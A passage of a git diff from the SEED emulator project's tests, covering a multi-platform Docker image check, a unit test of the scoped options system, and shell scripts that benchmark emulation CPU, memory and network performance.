emu.resolvVnode(vnode).setLabel('kubo.test.group', '[\\"basic\\"]') +for group, vnode in testNodes.items(): emu.resolvVnode(vnode).setLabel('kubo.test.group', f'[\\"{group}\\"]') + +emu.compile(docker, OUTPUTDIR, override = True) + diff --git a/tests/multi-platform-test/multi-platform-test.py b/tests/multi-platform-test/multi-platform-test.py index 6311be003..922fff593 100755 --- a/tests/multi-platform-test/multi-platform-test.py +++ b/tests/multi-platform-test/multi-platform-test.py @@ -1,159 +1,159 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -import unittest as ut -from seedemu import * -import shutil -import os -import getopt -import sys - - -class MultiPlatformTest(ut.TestCase): - @classmethod - def setUpClass(cls) -> None: - cls.test_list = { - "B06-blockchain" : (["blockchain.py"], ["output", "eth-states"]) - } - cls.dummy_list = { - "arm" : { - "39e016aa9e819f203ebc1809245a5818": "FROM handsonsecurity/seedemu-multiarch-router:buildx-latest", - "98a2693c996c2294358552f48373498d": "FROM handsonsecurity/seedemu-multiarch-base:buildx-latest", - "6aa6090a0b640f105845984c991134a9": "FROM handsonsecurity/seedemu-ethereum-arm64" - }, - "amd" : { - "39e016aa9e819f203ebc1809245a5818": "FROM handsonsecurity/seedemu-multiarch-router:buildx-latest", - "98a2693c996c2294358552f48373498d": "FROM handsonsecurity/seedemu-multiarch-base:buildx-latest", - "f1d53a66de3c35d8a921558f3b4bdbbd": "FROM handsonsecurity/seedemu-ethereum" - } - } - # This is my path - cls.init_cwd = os.getcwd() - - cls.path = "../../examples" - for dir, (scripts, outputs) in cls.test_list.items(): - path = os.path.join(cls.path, dir) - os.chdir(path) - file_list = os.listdir(os.curdir) - for output in outputs: - if output in file_list: - if os.path.isdir(os.path.join(path, output)): shutil.rmtree(output) - else: os.remove(output) - os.chdir(cls.init_cwd) - return super().setUpClass() - - @classmethod - def tearDownClass(cls) -> None: - os.chdir(cls.init_cwd) - return super().tearDownClass() - - def arm_compile_test(self): - for dir, (scripts, outputs) in self.test_list.items(): - printLog("######### {} Test #########".format(dir)) - path = os.path.join(self.path, dir) - os.chdir(path) - for script in scripts: - os.system("./{} arm 2> /dev/null".format(script)) - for output in outputs: - self.assertTrue(output in os.listdir(os.curdir)) - os.chdir(self.init_cwd) - - def arm_image_check(self): - for dir, (scripts, outputs) in self.test_list.items(): - for filename, content in self.dummy_list['arm'].items(): - path = os.path.join(self.path, dir, "output/dummies", filename) - # Open the file in read mode - with open(path, 'r') as file: - # Read the first line - first_line = file.readline() - - print(first_line) - print(content) - - self.assertTrue(content.strip()==first_line.strip()) - - def amd_compile_test(self): - for dir, (scripts, outputs) in self.test_list.items(): - printLog("######### {} Test #########".format(dir)) - path = os.path.join(self.path, dir) - os.chdir(path) - for script in scripts: - os.system("./{} amd 2> /dev/null".format(script)) - for output in outputs: - self.assertTrue(output in os.listdir(os.curdir)) - os.chdir(self.init_cwd) - - def amd_image_check(self): - for dir, (scripts, outputs) in self.test_list.items(): - for filename, content in self.dummy_list['amd'].items(): - path = os.path.join(self.path, dir, "output/dummies", filename) - # Open the file in read mode - with open(path, 'r') as file: - # Read the first line - first_line = file.readline() - - print(first_line) - print(content) - - self.assertTrue(content.strip()==first_line.strip()) - - - - -def get_arguments(argv, mapping): - # Remove 1st argument from the list of command line arguments - argumentList = argv[1:] - - # Options and long options - options = "ht:" - long_options = ["help", "times="] - - try: - # Parsing argument - arguments, values = getopt.getopt(argumentList, options, long_options) - - # checking each argument - for arg, value in arguments: - if arg in ("-h", "--help"): - print ("Usage: test_script.py -t ") - exit() - - elif arg in ("-t", "--times"): - mapping['times'] = int(value) - - except getopt.error as err: - print (str(err)) - -def printLog(*args, **kwargs): - print(*args, **kwargs) - with open('./test_log/log.txt','a') as file: - print(*args, **kwargs, file=file) - - -if __name__ == "__main__": - options = {} - options['times'] = 1 # default sleeping time - get_arguments(sys.argv, options) - result = [] - - os.system("rm -rf test_log") - os.system("mkdir test_log") - - for i in range(options['times']): - test_suite = ut.TestSuite() - test_suite.addTest(MultiPlatformTest('amd_compile_test')) - test_suite.addTest(MultiPlatformTest('amd_image_check')) - test_suite.addTest(MultiPlatformTest('arm_compile_test')) - test_suite.addTest(MultiPlatformTest('arm_image_check')) - - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - succeed = "succeed" if res.wasSuccessful() else "failed" - result.append(res) - - - for count, res in enumerate(result): - printLog("==========Test #%d========="%count) - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) - +#!/usr/bin/env python3 +# encoding: utf-8 + +import unittest as ut +from seedemu import * +import shutil +import os +import getopt +import sys + + +class MultiPlatformTest(ut.TestCase): + @classmethod + def setUpClass(cls) -> None: + cls.test_list = { + "B06-blockchain" : (["blockchain.py"], ["output", "eth-states"]) + } + cls.dummy_list = { + "arm" : { + "39e016aa9e819f203ebc1809245a5818": "FROM handsonsecurity/seedemu-multiarch-router:buildx-latest", + "98a2693c996c2294358552f48373498d": "FROM handsonsecurity/seedemu-multiarch-base:buildx-latest", + "6aa6090a0b640f105845984c991134a9": "FROM handsonsecurity/seedemu-ethereum-arm64" + }, + "amd" : { + "39e016aa9e819f203ebc1809245a5818": "FROM handsonsecurity/seedemu-multiarch-router:buildx-latest", + "98a2693c996c2294358552f48373498d": "FROM handsonsecurity/seedemu-multiarch-base:buildx-latest", + "f1d53a66de3c35d8a921558f3b4bdbbd": "FROM handsonsecurity/seedemu-ethereum" + } + } + # This is my path + cls.init_cwd = os.getcwd() + + cls.path = "../../examples" + for dir, (scripts, outputs) in cls.test_list.items(): + path = os.path.join(cls.path, dir) + os.chdir(path) + file_list = os.listdir(os.curdir) + for output in outputs: + if output in file_list: + if os.path.isdir(os.path.join(path, output)): shutil.rmtree(output) + else: os.remove(output) + os.chdir(cls.init_cwd) + return super().setUpClass() + + @classmethod + def tearDownClass(cls) -> None: + os.chdir(cls.init_cwd) + return super().tearDownClass() + + def arm_compile_test(self): + for dir, (scripts, outputs) in self.test_list.items(): + printLog("######### {} Test #########".format(dir)) + path = os.path.join(self.path, dir) + os.chdir(path) + for script in scripts: + os.system("./{} arm 2> /dev/null".format(script)) + for output in outputs: + self.assertTrue(output in os.listdir(os.curdir)) + os.chdir(self.init_cwd) + + def arm_image_check(self): + for dir, (scripts, outputs) in self.test_list.items(): + for filename, content in self.dummy_list['arm'].items(): + path = os.path.join(self.path, dir, "output/dummies", filename) + # Open the file in read mode + with open(path, 'r') as file: + # Read the first line + first_line = file.readline() + + print(first_line) + print(content) + + self.assertTrue(content.strip()==first_line.strip()) + + def amd_compile_test(self): + for dir, (scripts, outputs) in self.test_list.items(): + printLog("######### {} Test #########".format(dir)) + path = os.path.join(self.path, dir) + os.chdir(path) + for script in scripts: + os.system("./{} amd 2> /dev/null".format(script)) + for output in outputs: + self.assertTrue(output in os.listdir(os.curdir)) + os.chdir(self.init_cwd) + + def amd_image_check(self): + for dir, (scripts, outputs) in self.test_list.items(): + for filename, content in self.dummy_list['amd'].items(): + path = os.path.join(self.path, dir, "output/dummies", filename) + # Open the file in read mode + with open(path, 'r') as file: + # Read the first line + first_line = file.readline() + + print(first_line) + print(content) + + self.assertTrue(content.strip()==first_line.strip()) + + + + +def get_arguments(argv, mapping): + # Remove 1st argument from the list of command line arguments + argumentList = argv[1:] + + # Options and long options + options = "ht:" + long_options = ["help", "times="] + + try: + # Parsing argument + arguments, values = getopt.getopt(argumentList, options, long_options) + + # checking each argument + for arg, value in arguments: + if arg in ("-h", "--help"): + print ("Usage: test_script.py -t ") + exit() + + elif arg in ("-t", "--times"): + mapping['times'] = int(value) + + except getopt.error as err: + print (str(err)) + +def printLog(*args, **kwargs): + print(*args, **kwargs) + with open('./test_log/log.txt','a') as file: + print(*args, **kwargs, file=file) + + +if __name__ == "__main__": + options = {} + options['times'] = 1 # default sleeping time + get_arguments(sys.argv, options) + result = [] + + os.system("rm -rf test_log") + os.system("mkdir test_log") + + for i in range(options['times']): + test_suite = ut.TestSuite() + test_suite.addTest(MultiPlatformTest('amd_compile_test')) + test_suite.addTest(MultiPlatformTest('amd_image_check')) + test_suite.addTest(MultiPlatformTest('arm_compile_test')) + test_suite.addTest(MultiPlatformTest('arm_image_check')) + + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + succeed = "succeed" if res.wasSuccessful() else "failed" + result.append(res) + + + for count, res in enumerate(result): + printLog("==========Test #%d========="%count) + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) + diff --git a/tests/options/OptionsTestCase.py b/tests/options/OptionsTestCase.py index 91633b37c..455ef2972 100644 --- a/tests/options/OptionsTestCase.py +++ b/tests/options/OptionsTestCase.py @@ -1,209 +1,214 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -import unittest as ut -import os -from seedemu.core import ( - Scope, - ScopeTier, - ScopeType, - BaseOption, - OptionMode, - Customizable, -) -from tests import SeedEmuTestCase -from enum import Enum - - -class SEEDEmuOptionSystemTestCase(SeedEmuTestCase): - - @classmethod - def gen_emulation_files(cls): - """currently there are just no integration tests for options""" - pass - - @classmethod - def build_emulator(cls): - """currently there are just no integration tests for options""" - pass - - @classmethod - def up_emulator(cls): - """currently there are just no integration tests for options""" - pass - - @classmethod - def down_emulator(cls): - """currently there are just no integration tests for options""" - pass - - - def test_scope(self): - """!@brief tests proper inclusion/exclusion, intersection and union of Scopes""" - cmpr = Scope.collate - - self.assertTrue( Scope(ScopeTier.Global) > Scope(ScopeTier.AS, as_id=150), 'global scope is superset of AS scopes') - self.assertTrue( Scope(ScopeTier.AS, as_id=150) < Scope(ScopeTier.Global) , 'AS scopes are subset of global scope') - - self.assertTrue( cmpr(Scope(ScopeTier.AS, as_id=150), - Scope(ScopeTier.AS, as_id=160))==0, 'disjoint AS scopes') - self.assertTrue( cmpr(Scope(ScopeTier.Node, as_id=150, node_id='br0'), - Scope(ScopeTier.Node, as_id=160, node_id='br0'))==0, - 'disjoint Nodes scopes different ASes') - self.assertTrue( cmpr(Scope(ScopeTier.Node, as_id=150, node_id='br0'), - Scope(ScopeTier.Node, as_id=150, node_id='br1'))==0, - 'disjoint Nodes scopes same AS') - self.assertTrue( cmpr(Scope(ScopeTier.AS, as_id=150,node_type=ScopeType.HNODE), - Scope(ScopeTier.AS, as_id=150,node_type=ScopeType.BRDNODE))==0, - 'disjoint Types scopes at AS level') - self.assertTrue( cmpr(Scope(ScopeTier.AS, as_id=150,node_type=ScopeType.HNODE), - Scope(ScopeTier.AS, as_id=160,node_type=ScopeType.BRDNODE))==0, - 'disjoint Types as well as ASes') - self.assertTrue( cmpr(Scope(ScopeTier.Global,node_type=ScopeType.HNODE), - Scope(ScopeTier.Global,node_type=ScopeType.BRDNODE))==0, - 'disjoint Types scopes at global level') - - self.assertTrue ( Scope(ScopeTier.AS, as_id=150) > - Scope(ScopeTier.Node, as_id=150, node_id='brd0', node_type=ScopeType.BRDNODE), - 'node scope is subset of AS scope') - - self.assertTrue( not ( Scope(ScopeTier.AS, as_id=150) < - Scope(ScopeTier.Node, as_id=150, node_id='brd0', node_type=ScopeType.BRDNODE))) - - - self.assertTrue( Scope(ScopeTier.AS, as_id=160) == - Scope(ScopeTier.AS, as_id=160) , 'identical AS scope') - self.assertTrue( Scope(ScopeTier.AS, as_id=160, node_type=ScopeType.ANY) == - Scope(ScopeTier.AS, as_id=160) , 'identical AS scope') - self.assertTrue( Scope(ScopeTier.AS, as_id=160, node_type=ScopeType.ANY) > - Scope(ScopeTier.AS, as_id=160, node_type=ScopeType.BRDNODE), 'ANY includes all types') - self.assertTrue( Scope(ScopeTier.AS, as_id=150) != - Scope(ScopeTier.AS, as_id=160) , 'not identical scope') - self.assertTrue( Scope(ScopeTier.Node, as_id=150,node_id='brd0') == - Scope(ScopeTier.Node, as_id=150,node_id='brd0',node_type=ScopeType.BRDNODE), - 'same node but with extra type info') - self.assertTrue( Scope(ScopeTier.Global) > Scope(ScopeTier.Node, as_id=150, node_id='brd0')) - self.assertTrue( not (Scope(ScopeTier.Global, ScopeType.HNODE) > - Scope(ScopeTier.Node, as_id=150, node_id='brd0', node_type=ScopeType.BRDNODE) ), - 'node unaffected by global type') - - def test_customizable(self): - """!@brief test setting and retrieval of associated options - """ - class _Option(BaseOption,Enum): - """!@brief dummy option impl""" - ROTATE_LOGS = "rotate_logs" - USE_ENVSUBST = "use_envsubst" - EXPERIMENTAL_SCMP = 'experimental_scmp' - DISABLE_BFD = 'disable_bfd' - LOGLEVEL = 'loglevel' - SERVE_METRICS = 'serve_metrics' - APPROPRIATE_DIGEST = 'appropriate_digest' - MAX_BANDWIDTH = 'max_bandwidth' - - def __init__(self, key, value=None): - self._key = key - #if value==None: - # value = self.defaultValue() - self._mutable_value = value # Separate mutable storage - self._mutable_mode = OptionMode.BUILD_TIME - - @property - def name(self) -> str: - return self._key - - @property - def value(self) -> str: - return self._mutable_value if self._mutable_value else str(self.defaultValue()).lower() - - @value.setter - def value(self, new_value: str): - """Allow updating the value attribute.""" - self._mutable_value = new_value - - @property - def mode(self): - return self._mutable_mode - @mode.setter - def mode(self, new_mode): - self._mutable_mode = new_mode - - def supportedModes(self) -> OptionMode: - return OptionMode.BUILD_TIME - - def defaultValue(self): - match self._name_: - case "ROTATE_LOGS": return False - case "APPROPRIATE_DIGEST": return True - case "DISABLE_BFD": return True - case "EXPERIMENTAL_SCMP": return False - case "LOGLEVEL": return "error" - case "SERVE_METRICS": return False - case "USE_ENVSUBST": return False - case "MAX_BANDWIDTH": return -1 - - @classmethod - def custom(cls, key, value, mode=None ): - valid_keys = set() - for member in cls: - if isinstance(member.name,str): - valid_keys.add(member.name) - if key not in valid_keys: - raise ValueError(f"Invalid Option: {key}. Must be one of {valid_keys}.") - - custom_option = object.__new__(cls) - custom_option._key = key - custom_option._mutable_value = value - custom_option._name_ = key.upper() - custom_option._mode = mode if mode else OptionMode.BUILD_TIME - return custom_option - - def __repr__(self): - return f"Option(key={self._key}, value={self._mutable_value})" - - #---------------------------------------------------------------------- - config = Customizable() - - # Define scopes - global_scope = Scope(ScopeTier. Global) - global_router_scope = Scope(ScopeTier. Global, ScopeType.RNODE) - as_router_scope = Scope(ScopeTier.AS, ScopeType.RNODE, as_id=42) - node_scope = Scope(ScopeTier.Node, ScopeType.RNODE, node_id="A", as_id=42) - - config.setOption( _Option.custom("max_bandwidth", 100), global_scope) - config.setOption( _Option.custom("max_bandwidth", 200), global_router_scope) - config.setOption( _Option.custom("max_bandwidth", 400), as_router_scope) - config.setOption( _Option.custom("max_bandwidth", 500), node_scope) - - # Retrieve values using a Scope object - self.assertTrue( (opt:=config.getOption("max_bandwidth", Scope(ScopeTier.Node, ScopeType.RNODE, node_id="A",as_id=42))) != None and opt.value==500)# 500 (Node-specific) - self.assertTrue( (opt:=config.getOption("max_bandwidth", Scope(ScopeTier.Node, ScopeType.HNODE, node_id="C", as_id=42))) != None and opt.value==100)# 100 (Global fallback) - self.assertTrue( (opt:=config.getOption("max_bandwidth", Scope(ScopeTier.Node, ScopeType.RNODE, node_id="D", as_id=99))) != None and opt.value==200)# 200 (Global & Type) - self.assertTrue( (opt:=config.getOption("max_bandwidth", Scope(ScopeTier.Node, ScopeType.HNODE, node_id="E", as_id=99))) != None and opt.value==100)# 100 (Global-wide) - self.assertTrue( (opt:=config.getOption("max_bandwidth", Scope(ScopeTier.Node, ScopeType.RNODE, node_id="B", as_id=42))) != None and opt.value==400)# 400 (AS & Type) - - child_config = Customizable() - child_config._scope = node_scope - self.assertTrue( not child_config.getOption("max_bandwidth")) - config.handDown(child_config) - self.assertTrue( (opt:=child_config.getOption("max_bandwidth"))!=None and opt.value==500) - - - - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - test_suite.addTest(SEEDEmuOptionSystemTestCase('test_scope')) - test_suite.addTest(SEEDEmuOptionSystemTestCase('test_customizable')) - - return test_suite - - -if __name__ == "__main__": - test_suite = SEEDEmuOptionSystemTestCase.get_test_suite() - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - print("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) - +#!/usr/bin/env python3 +# encoding: utf-8 + +import unittest as ut +import os +from seedemu.core import ( + Scope, + ScopeTier, + ScopeType, + BaseOption, + OptionMode, + OptionGroupMeta, + Customizable, +) +from tests import SeedEmuTestCase +from enum import Enum, EnumMeta + + +class SEEDEmuOptionSystemTestCase(SeedEmuTestCase): + + @classmethod + def gen_emulation_files(cls): + """currently there are just no integration tests for options""" + pass + + @classmethod + def build_emulator(cls): + """currently there are just no integration tests for options""" + pass + + @classmethod + def up_emulator(cls): + """currently there are just no integration tests for options""" + pass + + @classmethod + def down_emulator(cls): + """currently there are just no integration tests for options""" + pass + + + def test_scope(self): + """!@brief tests proper inclusion/exclusion, intersection and union of Scopes""" + cmpr = Scope.collate + + self.assertTrue( Scope(ScopeTier.Global) > Scope(ScopeTier.AS, as_id=150), 'global scope is superset of AS scopes') + self.assertTrue( Scope(ScopeTier.AS, as_id=150) < Scope(ScopeTier.Global) , 'AS scopes are subset of global scope') + + self.assertTrue( cmpr(Scope(ScopeTier.AS, as_id=150), + Scope(ScopeTier.AS, as_id=160))==0, 'disjoint AS scopes') + self.assertTrue( cmpr(Scope(ScopeTier.Node, as_id=150, node_id='br0'), + Scope(ScopeTier.Node, as_id=160, node_id='br0'))==0, + 'disjoint Nodes scopes different ASes') + self.assertTrue( cmpr(Scope(ScopeTier.Node, as_id=150, node_id='br0'), + Scope(ScopeTier.Node, as_id=150, node_id='br1'))==0, + 'disjoint Nodes scopes same AS') + self.assertTrue( cmpr(Scope(ScopeTier.AS, as_id=150,node_type=ScopeType.HNODE), + Scope(ScopeTier.AS, as_id=150,node_type=ScopeType.BRDNODE))==0, + 'disjoint Types scopes at AS level') + self.assertTrue( cmpr(Scope(ScopeTier.AS, as_id=150,node_type=ScopeType.HNODE), + Scope(ScopeTier.AS, as_id=160,node_type=ScopeType.BRDNODE))==0, + 'disjoint Types as well as ASes') + self.assertTrue( cmpr(Scope(ScopeTier.Global,node_type=ScopeType.HNODE), + Scope(ScopeTier.Global,node_type=ScopeType.BRDNODE))==0, + 'disjoint Types scopes at global level') + + self.assertTrue ( Scope(ScopeTier.AS, as_id=150) > + Scope(ScopeTier.Node, as_id=150, node_id='brd0', node_type=ScopeType.BRDNODE), + 'node scope is subset of AS scope') + + self.assertTrue( not ( Scope(ScopeTier.AS, as_id=150) < + Scope(ScopeTier.Node, as_id=150, node_id='brd0', node_type=ScopeType.BRDNODE))) + + + self.assertTrue( Scope(ScopeTier.AS, as_id=160) == + Scope(ScopeTier.AS, as_id=160) , 'identical AS scope') + self.assertTrue( Scope(ScopeTier.AS, as_id=160, node_type=ScopeType.ANY) == + Scope(ScopeTier.AS, as_id=160) , 'identical AS scope') + self.assertTrue( Scope(ScopeTier.AS, as_id=160, node_type=ScopeType.ANY) > + Scope(ScopeTier.AS, as_id=160, node_type=ScopeType.BRDNODE), 'ANY includes all types') + self.assertTrue( Scope(ScopeTier.AS, as_id=150) != + Scope(ScopeTier.AS, as_id=160) , 'not identical scope') + self.assertTrue( Scope(ScopeTier.Node, as_id=150,node_id='brd0') == + Scope(ScopeTier.Node, as_id=150,node_id='brd0',node_type=ScopeType.BRDNODE), + 'same node but with extra type info') + self.assertTrue( Scope(ScopeTier.Global) > Scope(ScopeTier.Node, as_id=150, node_id='brd0')) + self.assertTrue( not (Scope(ScopeTier.Global, ScopeType.HNODE) > + Scope(ScopeTier.Node, as_id=150, node_id='brd0', node_type=ScopeType.BRDNODE) ), + 'node unaffected by global type') + + def test_customizable(self): + """!@brief test setting and retrieval of associated options + """ + + class _OptionMeta(OptionGroupMeta, EnumMeta): + pass + + class _Option(BaseOption,Enum,metaclass=_OptionMeta): + """!@brief dummy option impl""" + ROTATE_LOGS = "rotate_logs" + USE_ENVSUBST = "use_envsubst" + EXPERIMENTAL_SCMP = 'experimental_scmp' + DISABLE_BFD = 'disable_bfd' + LOGLEVEL = 'loglevel' + SERVE_METRICS = 'serve_metrics' + APPROPRIATE_DIGEST = 'appropriate_digest' + MAX_BANDWIDTH = 'max_bandwidth' + + def __init__(self, key, value=None): + self._key = key + #if value==None: + # value = self.defaultValue() + self._mutable_value = value # Separate mutable storage + self._mutable_mode = OptionMode.BUILD_TIME + + @property + def name(self) -> str: + return self._key + + @property + def value(self) -> str: + return self._mutable_value if self._mutable_value else str(self.defaultValue()).lower() + + @value.setter + def value(self, new_value: str): + """Allow updating the value attribute.""" + self._mutable_value = new_value + + @property + def mode(self): + return self._mutable_mode + @mode.setter + def mode(self, new_mode): + self._mutable_mode = new_mode + + def supportedModes(self) -> OptionMode: + return OptionMode.BUILD_TIME + + def defaultValue(self): + match self._name_: + case "ROTATE_LOGS": return False + case "APPROPRIATE_DIGEST": return True + case "DISABLE_BFD": return True + case "EXPERIMENTAL_SCMP": return False + case "LOGLEVEL": return "error" + case "SERVE_METRICS": return False + case "USE_ENVSUBST": return False + case "MAX_BANDWIDTH": return -1 + + @classmethod + def custom(cls, key, value, mode=None ): + valid_keys = set() + for member in cls: + if isinstance(member.name,str): + valid_keys.add(member.name) + if key not in valid_keys: + raise ValueError(f"Invalid Option: {key}. Must be one of {valid_keys}.") + + custom_option = object.__new__(cls) + custom_option._key = key + custom_option._mutable_value = value + custom_option._name_ = key.upper() + custom_option._mode = mode if mode else OptionMode.BUILD_TIME + return custom_option + + def __repr__(self): + return f"Option(key={self._key}, value={self._mutable_value})" + + #---------------------------------------------------------------------- + config = Customizable() + + # Define scopes + global_scope = Scope(ScopeTier. Global) + global_router_scope = Scope(ScopeTier. Global, ScopeType.RNODE) + as_router_scope = Scope(ScopeTier.AS, ScopeType.RNODE, as_id=42) + node_scope = Scope(ScopeTier.Node, ScopeType.RNODE, node_id="A", as_id=42) + + config.setOption( _Option.custom("max_bandwidth", 100), global_scope) + config.setOption( _Option.custom("max_bandwidth", 200), global_router_scope) + config.setOption( _Option.custom("max_bandwidth", 400), as_router_scope) + config.setOption( _Option.custom("max_bandwidth", 500), node_scope) + + # Retrieve values using a Scope object + self.assertTrue( (opt:=config.getOption("max_bandwidth", Scope(ScopeTier.Node, ScopeType.RNODE, node_id="A",as_id=42))) != None and opt.value==500)# 500 (Node-specific) + self.assertTrue( (opt:=config.getOption("max_bandwidth", Scope(ScopeTier.Node, ScopeType.HNODE, node_id="C", as_id=42))) != None and opt.value==100)# 100 (Global fallback) + self.assertTrue( (opt:=config.getOption("max_bandwidth", Scope(ScopeTier.Node, ScopeType.RNODE, node_id="D", as_id=99))) != None and opt.value==200)# 200 (Global & Type) + self.assertTrue( (opt:=config.getOption("max_bandwidth", Scope(ScopeTier.Node, ScopeType.HNODE, node_id="E", as_id=99))) != None and opt.value==100)# 100 (Global-wide) + self.assertTrue( (opt:=config.getOption("max_bandwidth", Scope(ScopeTier.Node, ScopeType.RNODE, node_id="B", as_id=42))) != None and opt.value==400)# 400 (AS & Type) + + child_config = Customizable() + child_config._scope = node_scope + self.assertTrue( not child_config.getOption("max_bandwidth")) + config.handDown(child_config) + self.assertTrue( (opt:=child_config.getOption("max_bandwidth"))!=None and opt.value==500) + + + + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(SEEDEmuOptionSystemTestCase('test_scope')) + test_suite.addTest(SEEDEmuOptionSystemTestCase('test_customizable')) + + return test_suite + + +if __name__ == "__main__": + test_suite = SEEDEmuOptionSystemTestCase.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + print("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) + diff --git a/tests/performance/driver-1.sh b/tests/performance/driver-1.sh index 927d82472..99a7bf31a 100755 --- a/tests/performance/driver-1.sh +++ b/tests/performance/driver-1.sh @@ -1,51 +1,51 @@ -#!/bin/bash - -SAMPLE_COUNT='100' - -set -e - -cd "`dirname "$0"`" -results="`pwd`/results" - -[ ! -d "$results" ] && mkdir "$results" - -function collect { - for j in `seq 1 $SAMPLE_COUNT`; do { - now="`date +%s`" - echo "[$now] snapshotting cpu/mem info..." - cat /proc/stat > "$this_results/stat-$now.txt" - cat /proc/meminfo > "$this_results/meminfo-$now.txt" - sleep 1 - }; done -} - -for ((i=${START}; i<=${END}; i+=${STEP})); do { - rm -rf out - - echo "generating emulation..." - [ "$TARGET" = "ases" ] && \ - ./generator-1.py --ases $i --ixs 5 --routers 1 --hosts 0 --outdir out --yes - [ "$TARGET" = "routers" ] && \ - ./generator-1.py --ases 10 --ixs 5 --routers $i --hosts 0 --outdir out --yes - [ "$TARGET" = "hosts" ] && \ - ./generator-1.py --ases 10 --ixs 5 --routers 1 --hosts $i --outdir out --yes - this_results="$results/bench-$i-$TARGET" - [ ! -d "$this_results" ] && mkdir "$this_results" - pushd out - - echo "buliding emulation..." - docker-compose build - # bugged? stuck forever at "compose.parallel.feed_queue: Pending: set()"... - # docker-compose up -d - - # start only 10 at a time to prevent hangs - echo "start emulation..." - ls | grep -Ev '.yml$|^dummies$' | xargs -n10 -exec docker-compose up -d - - echo "waiting 300s for ospf/bgp, etc..." - sleep 300 - collect - - docker-compose down - popd -}; done +#!/bin/bash + +SAMPLE_COUNT='100' + +set -e + +cd "`dirname "$0"`" +results="`pwd`/results" + +[ ! -d "$results" ] && mkdir "$results" + +function collect { + for j in `seq 1 $SAMPLE_COUNT`; do { + now="`date +%s`" + echo "[$now] snapshotting cpu/mem info..." + cat /proc/stat > "$this_results/stat-$now.txt" + cat /proc/meminfo > "$this_results/meminfo-$now.txt" + sleep 1 + }; done +} + +for ((i=${START}; i<=${END}; i+=${STEP})); do { + rm -rf out + + echo "generating emulation..." + [ "$TARGET" = "ases" ] && \ + ./generator-1.py --ases $i --ixs 5 --routers 1 --hosts 0 --outdir out --yes + [ "$TARGET" = "routers" ] && \ + ./generator-1.py --ases 10 --ixs 5 --routers $i --hosts 0 --outdir out --yes + [ "$TARGET" = "hosts" ] && \ + ./generator-1.py --ases 10 --ixs 5 --routers 1 --hosts $i --outdir out --yes + this_results="$results/bench-$i-$TARGET" + [ ! -d "$this_results" ] && mkdir "$this_results" + pushd out + + echo "buliding emulation..." + docker-compose build + # bugged? stuck forever at "compose.parallel.feed_queue: Pending: set()"... + # docker-compose up -d + + # start only 10 at a time to prevent hangs + echo "start emulation..." + ls | grep -Ev '.yml$|^dummies$' | xargs -n10 -exec docker-compose up -d + + echo "waiting 300s for ospf/bgp, etc..." + sleep 300 + collect + + docker-compose down + popd +}; done diff --git a/tests/performance/driver-2.sh b/tests/performance/driver-2.sh index a8416be5f..e6aada7c0 100755 --- a/tests/performance/driver-2.sh +++ b/tests/performance/driver-2.sh @@ -1,46 +1,46 @@ -#!/bin/bash - -set -e - -cd "`dirname "$0"`" -results="`pwd`/results" - -for ((i=${START}; i<=${END}; i+=${STEP})); do { - rm -rf out - - echo "generating emulation..." - [ "$TARGET" = "ases" ] && ./generator-2.py --ases $i --hops 10 --outdir out - [ "$TARGET" = "hops" ] && ./generator-2.py --ases 1 --hops $i --outdir out - - this_results="$results/bench-$i-fwd-$TARGET" - - [ ! -d "$this_results" ] && mkdir "$this_results" - pushd out - - echo "buliding emulation..." - docker-compose build - # bugged? stuck forever at "compose.parallel.feed_queue: Pending: set()"... - # docker-compose up -d - # start only 10 at a time to prevent hangs - echo "start emulation..." - ls | grep -Ev '.yml$|^dummies$' | xargs -n10 -exec docker-compose up -d - - echo "wait for tests..." - sleep 500 - - host_ids="`docker ps | egrep "hnode_.*_a" | cut -d\ -f1`" - for id in $host_ids; do { - while ! docker exec $id ls /done; do { - echo "waiting for $id to finish tests..." - sleep 10 - }; done - - echo "collecting results from $id..." - docker cp "$id:/ping.txt" "$this_results/$id-ping.txt" - docker cp "$id:/iperf-tx.txt" "$this_results/$id-iperf-tx.txt" - docker cp "$id:/iperf-rx.txt" "$this_results/$id-iperf-rx.txt" - }; done - - docker-compose down - popd -}; done +#!/bin/bash + +set -e + +cd "`dirname "$0"`" +results="`pwd`/results" + +for ((i=${START}; i<=${END}; i+=${STEP})); do { + rm -rf out + + echo "generating emulation..." + [ "$TARGET" = "ases" ] && ./generator-2.py --ases $i --hops 10 --outdir out + [ "$TARGET" = "hops" ] && ./generator-2.py --ases 1 --hops $i --outdir out + + this_results="$results/bench-$i-fwd-$TARGET" + + [ ! -d "$this_results" ] && mkdir "$this_results" + pushd out + + echo "buliding emulation..." + docker-compose build + # bugged? stuck forever at "compose.parallel.feed_queue: Pending: set()"... + # docker-compose up -d + # start only 10 at a time to prevent hangs + echo "start emulation..." + ls | grep -Ev '.yml$|^dummies$' | xargs -n10 -exec docker-compose up -d + + echo "wait for tests..." + sleep 500 + + host_ids="`docker ps | egrep "hnode_.*_a" | cut -d\ -f1`" + for id in $host_ids; do { + while ! docker exec $id ls /done; do { + echo "waiting for $id to finish tests..." + sleep 10 + }; done + + echo "collecting results from $id..." + docker cp "$id:/ping.txt" "$this_results/$id-ping.txt" + docker cp "$id:/iperf-tx.txt" "$this_results/$id-iperf-tx.txt" + docker cp "$id:/iperf-rx.txt" "$this_results/$id-iperf-rx.txt" + }; done + + docker-compose down + popd +}; done diff --git a/tests/performance/generator-1.py b/tests/performance/generator-1.py index 1c3b90558..454aab50a 100755 --- a/tests/performance/generator-1.py +++ b/tests/performance/generator-1.py @@ -1,161 +1,161 @@ -#!/usr/bin/env python3 - -from seedemu import * -from typing import List, Dict, Set -from ipaddress import IPv4Network -from math import ceil -from random import choice - -import argparse - -def 